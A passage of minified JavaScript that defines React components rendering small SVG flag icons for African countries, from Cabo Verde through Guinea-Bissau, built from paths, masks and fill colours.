7.214l-.588.31.113-.655-.476-.464h.657l.294-.69.294.69h.657l-.475.464.112.654-.588-.309Z",clipRule:"evenodd"}))),Ce=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CV_-_Cabo_Verde_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#CV_-_Cabo_Verde_svg__a)"},(0,s.createElement)("path",{fill:"#4141DB",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CV_-_Cabo_Verde_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#CV_-_Cabo_Verde_svg__b)"},(0,s.createElement)("path",{fill:"#F90000",stroke:"#F7FCFF",d:"M0 6.5h-.5v2h17v-2H0Z"}),(0,s.createElement)("path",{stroke:"#FFDE00",d:"M5.5 11a3.5 3.5 0 1 0 0-7 3.5 3.5 0 0 0 0 7Z",clipRule:"evenodd"})))),He=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CM_-_Cameroon_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#CM_-_Cameroon_svg__a)"},(0,s.createElement)("path",{fill:"#E11C1B",d:"M5 0h6v12H5V0Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"m8.038 7.245-1.743 1.21.557-2.071-1.28-1.323 1.733-.072.733-2.047.733 2.047h1.73L9.223 6.384l.639 1.948-1.825-1.087Z"}),(0,s.createElement)("path",{fill:"#FBCD17",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#0B9E7A",d:"M0 0h5v12H0V0Z"}))),Ve=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CF_-_Central_African_Republic_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#CF_-_Central_African_Republic_svg__a)"},(0,s.createElement)("path",{fill:"#3D58DB",d:"M0 0h16v3H0V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 3h16v3H0V3Z"}),(0,s.createElement)("path",{fill:"#73BE4A",d:"M0 6h16v3H0V6Z"}),(0,s.createElement)("path",{fill:"#FFD018",d:"M0 9h16v3H0V9Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"m2.265 2.708-1.213.84.388-1.44-.89-.92 1.205-.049.51-1.424.51 1.424h1.203l-.888.97.444 1.355-1.27-.756Z"}),(0,s.createElement)("path",{fill:"#E11C1B",d:"M6 0h4v12H6V0Z"}))),Se=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TD_-_Chad_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#TD_-_Chad_svg__a)"},(0,s.createElement)("path",{fill:"#E11C1B",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h6v12H0V0Z"}),(0,s.createElement)("path",{fill:"#FBCD17",d:"M5 0h6v12H5V0Z"}))),Ae=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("path",{fill:"#5196ED",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"KM_-_Comors_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#KM_-_Comors_svg__a)"},(0,s.createElement)("path",{fill:"#AF0100",d:"M0 6v3h16V6H0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 3v3h16V3H0Z"}),(0,s.createElement)("path",{fill:"#FBCD17",d:"M0 0v3h16V0H0Z"}),(0,s.createElement)("path",{fill:"#5EAA22",d:"m0 0 8 6-8 6V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M3.152 8.728S1.361 8.06 1.424 5.972c.063-2.088 1.888-2.497 1.888-2.497C2.672 2.97.387 3.56.314 5.972.24 8.383 2.47 8.92 3.152 8.728Zm.095-3.585.068-.393-.286-.278.395-.057.176-.358.176.358.395.057-.286.278.068.393-.353-.186-.353.186Zm.068.607-.068.393.353-.186.353.186-.068-.393.286-.278-.395-.057-.176-.358-.176.358-.395.057.286.278Zm-.068 1.393.068-.393-.286-.278.395-.057.176-.358.176.358.395.057-.286.278.068.393-.353-.186-.353.186Zm0 1 .068-.393-.286-.278.395-.057.176-.358.176.358.395.057-.286.278.068.393-.353-.186-.353.186Z"}))),Ue=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CG_-_Republic_of_the_Congo_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("rect",{width:16,height:12,fill:"#fff",rx:.25})),(0,s.createElement)("g",{mask:"url(#CG_-_Republic_of_the_Congo_svg__a)"},(0,s.createElement)("path",{fill:"#FA1111",fillRule:"evenodd",d:"M16 0v12H0L16 0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#07A907",fillRule:"evenodd",d:"M0 12V0h16L0 12Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FBCD17",fillRule:"evenodd",d:"M14.746-2.9-.5 11.788l3.026 1.506L17.32-.106 14.746-2.9Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CG_-_Republic_of_the_Congo_svg__b",width:19,height:17,x:-1,y:-3,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M14.746-2.9-.5 11.788l3.026 1.506L17.32-.106 14.746-2.9Z",clipRule:"evenodd"})))),xe=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CD_-_Democratic_Republic_of_the_Congo_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#CD_-_Democratic_Republic_of_the_Congo_svg__a)"},(0,s.createElement)("path",{fill:"#3195F9",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CD_-_Democratic_Republic_of_the_Congo_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#CD_-_Democratic_Republic_of_the_Congo_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",stroke:"#FECA00",strokeWidth:1.25,d:"m-.91 12.72.346.52.52-.348L18.086.791l.52-.347-.347-.52-1.11-1.664-.347-.52-.52.348-18.13 12.101-.52.347.347.52 1.11 1.664Z"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M2.465 4.303.723 5.512l.556-2.07L0 2.119l1.732-.072L2.465 0l.733 2.047h1.73L3.65 3.442l.64 1.948-1.826-1.087Z",clipRule:"evenodd"})))),Te=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"DJ_-_Djibouti_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#DJ_-_Djibouti_svg__a)"},(0,s.createElement)("path",{fill:"#73BE4A",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"DJ_-_Djibouti_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#DJ_-_Djibouti_svg__b)"},(0,s.createElement)("path",{fill:"#69F",fillRule:"evenodd",d:"M0-1v7h16v-7H0Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"DJ_-_Djibouti_svg__c",width:9,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#DJ_-_Djibouti_svg__c)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M3.501 6.947 2.254 7.7l.285-1.47L1.5 5.132l1.406-.06.595-1.371.595 1.372H5.5L4.464 6.23 4.776 7.7 3.5 6.947Z",clipRule:"evenodd"})))),De=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"EG_-_Egypt_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#EG_-_Egypt_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"EG_-_Egypt_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#EG_-_Egypt_svg__b)"},(0,s.createElement)("path",{fill:"#BF2714",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C09302",d:"m6.13 5.11.5.023-.126 2.735-.5-.023.126-2.735ZM6.652 5.28l.5.028-.126 2.218-.5-.028.126-2.218Z"}),(0,s.createElement)("path",{fill:"#C09302",d:"m7.174 5.446.499.04-.126 1.529-.498-.041.125-1.528ZM9.87 5.11l-.5.023.126 2.735.5-.023L9.87 5.11ZM9.348 5.28l-.5.028.126 2.218.5-.028-.126-2.218Z"}),(0,s.createElement)("path",{fill:"#C09302",d:"m8.826 5.446-.499.04.126 1.529.498-.041-.125-1.528ZM7.987 7.663l-.488-.111.207-.9.487.111-.206.9Z"}),(0,s.createElement)("path",{fill:"#C09302",d:"m8.36 7.663.487-.111-.206-.9-.488.111.207.9Z"}),(0,s.createElement)("path",{fill:"#C09302",d:"M8.236 7.655h-.5v-.884h.5v.884ZM7.317 5.457l.5.012-.029 1.19-.5-.012.03-1.19ZM8.187 5.457l.5.012-.03 1.19-.5-.012.03-1.19Z"}),(0,s.createElement)("path",{fill:"#C09302",d:"m6.669 7.961.13-.482c.53.142.938.213 1.215.213.278 0 .686-.07 1.216-.213l.13.482c-.57.153-1.016.23-1.346.23-.33 0-.776-.077-1.345-.23ZM6.141 5.111c-.033-.33.16-.554.488-.525.107.01.228.041.39.096l.092.032c.222.08.282.1.295.102-.05-.011.095-.273.128-.317.004.028-.012.024-.052.016l-.451-.09.32-.33a.585.585 0 0 1 .433-.171c.018 0 .034-.001.088-.005l.085-.004c.312-.01.536.078.536.399 0 .115.015.3.038.44.009.047.024.09-.022.11.002-.017.111-.06.281-.13l.02-.01c.494-.206.552-.225.711-.128.106.065.207.18.32.353l-.418.274a.872.872 0 0 0-.159-.198c.063.044-.149.114-.26.161l-.02.008c-.385.161-.436.18-.546.18-.299 0-.406-.306-.436-.745-.092.304-.367.687-.594.687-.1 0-.052.016-.464-.13l-.086-.03a1.345 1.345 0 0 0-.272-.072.227.227 0 0 1 .02-.02l-.465.047Z"})))),Le=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GQ_-_Equatorial_Guinea_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#GQ_-_Equatorial_Guinea_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12.288h16.384V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"GQ_-_Equatorial_Guinea_svg__b",width:17,height:13,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12.288h16.384V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#GQ_-_Equatorial_Guinea_svg__b)"},(0,s.createElement)("path",{fill:"#009D00",d:"M0 0v4.096h16.384V0H0Z"}),(0,s.createElement)("path",{fill:"#fff",d:"M0 4.096v4.096h16.384V4.096H0Z"}),(0,s.createElement)("path",{fill:"#F80000",d:"M0 8.192v4.096h16.384V8.192H0Z"})),(0,s.createElement)("path",{fill:"#0075D5",fillRule:"evenodd",d:"M0 0v12.288l4.096-6.066L0 0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"GQ_-_Equatorial_Guinea_svg__c",width:5,height:13,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12.288l4.096-6.066L0 0Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#FFD500",stroke:"#000",strokeWidth:.03,d:"m7.46 4.55.003.011-.016-.014-.103-.095-.012.139h.011l-.019.012-.122.068.128.055.005-.01.004.02.028.138.092-.105-.009-.008.022.003.138.016-.071-.12-.01.006.01-.02.058-.127-.137.031ZM7.972 4.55l.003.011-.016-.014-.103-.095-.012.139h.011l-.02.012-.12.068.127.055.005-.01.004.02.027.138.093-.105-.01-.008.023.003.138.016-.071-.12-.01.006.01-.02.058-.127-.137.031ZM8.484 4.55l.003.011-.016-.014-.103-.095-.012.139h.011l-.019.012-.122.068.129.055.004-.01.004.02.028.138.092-.105-.009-.008.022.003.138.016-.071-.12-.01.006.01-.02.058-.127-.137.031ZM8.996 4.55 9 4.561l-.016-.014-.103-.095-.012.139h.011l-.019.012-.122.068.128.055.005-.01.004.02.028.138.092-.105-.009-.008.022.003.138.016-.071-.12-.01.006.01-.02.058-.127-.137.031ZM9.508 4.55l.003.011-.016-.014-.103-.095-.012.139h.011l-.019.012-.122.068.128.055.005-.01.004.02.027.138.093-.105-.009-.008.022.003.138.016-.071-.12-.01.006.01-.02.058-.127-.137.031ZM10.02 4.55l.003.011-.016-.014-.103-.095-.012.139h.011l-.019.012-.122.068.129.055.004-.01.004.02.028.138.092-.105-.009-.008.022.003.138.016-.071-.12-.01.006.01-.02.058-.127-.136.031Z"}),(0,s.createElement)("path",{stroke:"#373737",strokeWidth:.06,d:"M7.71 5.15h1.988v1.506a.994.994 0 1 1-1.988 0V5.15Z"}),(0,s.createElement)("path",{fill:"#6F3E1D",fillRule:"evenodd",d:"M8.564 6.123s-.103 1.211-.206 1.285c-.104.073.494.11.55.055.058-.055-.26-1.042-.15-1.34.109-.297.285-.321.285-.321s-.222-.047-.286.042c-.063.09-.252-.042-.252-.042l.059.321Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#009D29",fillRule:"evenodd",d:"M8.541 6.055h-.08s-.053.21-.176.105c-.124-.105-.298-.068-.298-.068s.016-.126.205-.176c.19-.05.27-.456.27-.456s.268-.1.431.105c.163.204.393.117.393.117s.168.095.084.234-.227.24-.352.139c-.125-.102-.477 0-.477 0Z",clipRule:"evenodd"}))),Ne=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:17,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"ER_-_Eritrea_svg__a",width:17,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h17v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#ER_-_Eritrea_svg__a)"},(0,s.createElement)("path",{fill:"#43B764",d:"M0 0v6h16V0H0Z"}),(0,s.createElement)("path",{fill:"#B4D7F4",d:"M0 6v6h16V6H0Z"}),(0,s.createElement)("path",{fill:"#BE0027",d:"m0 0 16.5 6L0 12V0Z"}),(0,s.createElement)("path",{fill:"#F3E294",d:"m4.557 8.684-.477.01a4.742 4.742 0 0 1-.096-.128 3.157 3.157 0 0 1-.355-1.458v.129c-.002.582-.002.828.355 1.33.102.197.225.39.37.58l.616-.473-.413.01Z"}),(0,s.createElement)("path",{fill:"#F3E294",d:"M1 6.25a3.25 3.25 0 1 0 6.5 0 3.25 3.25 0 0 0-6.5 0Zm5.5 0a2.25 2.25 0 1 1-4.5 0 2.25 2.25 0 0 1 4.5 0Z"}))),Oe=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SZ_-_Swaziland_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#SZ_-_Swaziland_svg__a)"},(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",stroke:"#FFD018",d:"M0 2.5h-.5v7h17v-7H0Z"}),(0,s.createElement)("path",{fill:"#FFD018",d:"M3.575 4.666c-.06 0-.109-.136-.109-.303 0-.168.049-.303.109-.303h8.705c.06 0 .109.135.109.303 0 .167-.049.303-.109.303H3.575Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m12.048 4.301.505-.645.895.645-.895.662-.505-.662Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",d:"M3.575 6.666c-.06 0-.109-.136-.109-.303 0-.168.049-.303.109-.303h8.705c.06 0 .109.135.109.303 0 .167-.049.303-.109.303H3.575Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m12.048 6.301.505-.645.895.645-.895.662-.505-.662Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",d:"M2.173 7.91c-.08 0-.146-.153-.146-.343 0-.19.065-.344.146-.344h11.672c.08 0 .145.154.145.344 0 .19-.065.344-.145.344H2.173Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M4.409 6.026s1.42-2.99 3.452-2.99 3.5 2.99 3.5 2.99S9.57 8.977 7.886 8.977c-1.683 0-3.476-2.95-3.476-2.95Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"SZ_-_Swaziland_svg__b",width:8,height:6,x:4,y:3,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M4.409 6.026s1.42-2.99 3.452-2.99 3.5 2.99 3.5 2.99S9.57 8.977 7.886 8.977c-1.683 0-3.476-2.95-3.476-2.95Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#SZ_-_Swaziland_svg__b)"},(0,s.createElement)("path",{fill:"#272727",d:"M7.962 2.84s-.463.563-.309 1.1c.155.537.515.48.515.953s-.167.955 0 .955c.166 0 .224.327.072.548-.152.221-.287.228-.278.588.01.36.796.714.415.714-.381 0-.884.37-.724.37.16 0 .996.288.996.666v.682H4.286V2.84h3.676Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M5.91 4.962h-.218v.884h.218v-.884Zm.64 0h-.217v.884h.217v-.884Zm-.537 0h.217v.884h-.217v-.884Zm.858 0h-.218v.884h.218v-.884Zm.103 0h.217v.884h-.217v-.884Zm.537 0h-.217v.884h.217v-.884ZM5.692 6.23h.218v.884h-.218v-.884Zm.858 0h-.217v.884h.217v-.884Zm-.537 0h.217v.884h-.217v-.884Zm.858 0h-.218v.884h.218v-.884Zm.103 0h.217v.884h-.217v-.884Zm.537 0h-.217v.884h.217v-.884Z"}),(0,s.createElement)("path",{fill:"#272727",d:"M8.489 4.962H8.27v.884h.218v-.884Zm.64 0h-.217v.884h.217v-.884Zm-.537 0h.217v.884h-.217v-.884Zm.858 0h-.217v.884h.217v-.884Zm.103 0h.217v.884h-.217v-.884Zm.537 0h-.217v.884h.218v-.884ZM8.271 6.23h.218v.884H8.27v-.884Zm.858 0h-.217v.884h.217v-.884Zm-.537 0h.217v.884h-.217v-.884Zm.858 0h-.217v.884h.217v-.884Zm.103 0h.217v.884h-.217v-.884Zm.537 0h-.217v.884h.218v-.884Z"}),(0,s.createElement)("path",{fill:"#3D58DB",d:"M6.616 3.536c-.304.094-.444.892-.41 1.085.034.193.138-.024.138-.024s.21.457.232.58c.022.123.132-.186.132-.186s.366.252.415.532c.05.28.124-.32.124-.32l.082-.015-.052-.297.158.135-.049-.276s.119.155.089-.016l-.047-.266-.041-.234.156-.027s-.623-.765-.927-.671Z"})),(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M13.044 6.848c-.316.04-.591.802-.591.997 0 .196.139 0 .139 0s.128.488.128.613.163-.16.163-.16.316.31.316.595.177-.294.177-.294h.084v-.302l.132.16v-.28s.09.174.09 0V7.67h.159s-.48-.862-.797-.822ZM2.796 6.733c.316.04.592.801.592.997 0 .196-.14 0-.14 0s-.127.487-.127.612-.163-.16-.163-.16-.316.311-.316.596c0 .284-.178-.295-.178-.295H2.38v-.301l-.131.16v-.28s-.09.173-.09 0v-.508H2s.48-.861.796-.821Z",clipRule:"evenodd"}))),Be=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"ET_-_Ethiopia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#ET_-_Ethiopia_svg__a)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"ET_-_Ethiopia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#ET_-_Ethiopia_svg__b)"},(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#2B77B8",fillRule:"evenodd",d:"M8 9a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#FECA00",strokeWidth:.75,d:"m8 7-1.381.463.43-1.154-.937-1.118h1.3L8 4l.588 1.191h1.328l-.965 1.118.343 1.154L8 7Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#2B77B8",strokeWidth:.5,d:"m7.848 6.017-1.042 2.18M7.684 5.74h-2M8.06 6.419l1.955.902M8.483 5.937l1.415-1.549"})))),ze=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GA_-_Gabon_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#GA_-_Gabon_svg__a)"},(0,s.createElement)("path",{fill:"#40A8FF",d:"M0 8h16v4H0V8Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M0 4h16v4H0V4Z"}),(0,s.createElement)("path",{fill:"#73BE4A",d:"M0 0h16v4H0V0Z"}))),Pe=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GM_-_Gambia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#GM_-_Gambia_svg__a)"},(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 8h16v4H0V8Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0h16v4H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#3D58DB",stroke:"#fff",strokeWidth:1.5,d:"M0 4.25h-.75v3.5h17.5v-3.5H0Z"}))),Ie=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GH_-_Ghana_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#GH_-_Ghana_svg__a)"},(0,s.createElement)("path",{fill:"#5EAA22",d:"M0 8h16v4H0V8Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M0 4h16v4H0V4Z"}),(0,s.createElement)("path",{fill:"#E11C1B",d:"M0 0h16v4H0V0Z"}),(0,s.createElement)("path",{fill:"#1D1D1D",d:"M8.038 7.245 6.295 8.454l.557-2.07-1.28-1.323 1.733-.072.733-2.047.733 2.047h1.73L9.223 6.384l.639 1.948-1.825-1.087Z",opacity:.9}))),Ge=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GN_-_Guinea_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#GN_-_Guinea_svg__a)"},(0,s.createElement)("path",{fill:"#FBCD17",d:"M5 0h6v12H5V0Z"}),(0,s.createElement)("path",{fill:"#0B9E7A",d:"M11 0h5v12h-5V0Z"}),(0,s.createElement)("path",{fill:"#E11C1B",d:"M0 0h5v12H0V0Z"}))),Ke=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GW_-_Guinea-Bissau_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#GW_-_Guinea-Bissau_svg__a)"},(0,s.createElement)("path",{fill:"#FBCD17",d:"M8 0h8v6H8V0Z"}),(0,s.createElement)("path",{fill:"#0B9E7A",d:"M8 6h8v6H8V6Z"}),(0,s.createElement)("path",{fill:"#E11C1B",d:"M0 0h8v12H0V0Z"}),(0,s.createElement)("path",{fill:"#1D1D1D",d:"M4.465 7.303 2.723 8.512l.556-2.07L2 5.119l1.732-.072L4.465 3l.733 2.047h1.73L5.65 6.442l.64 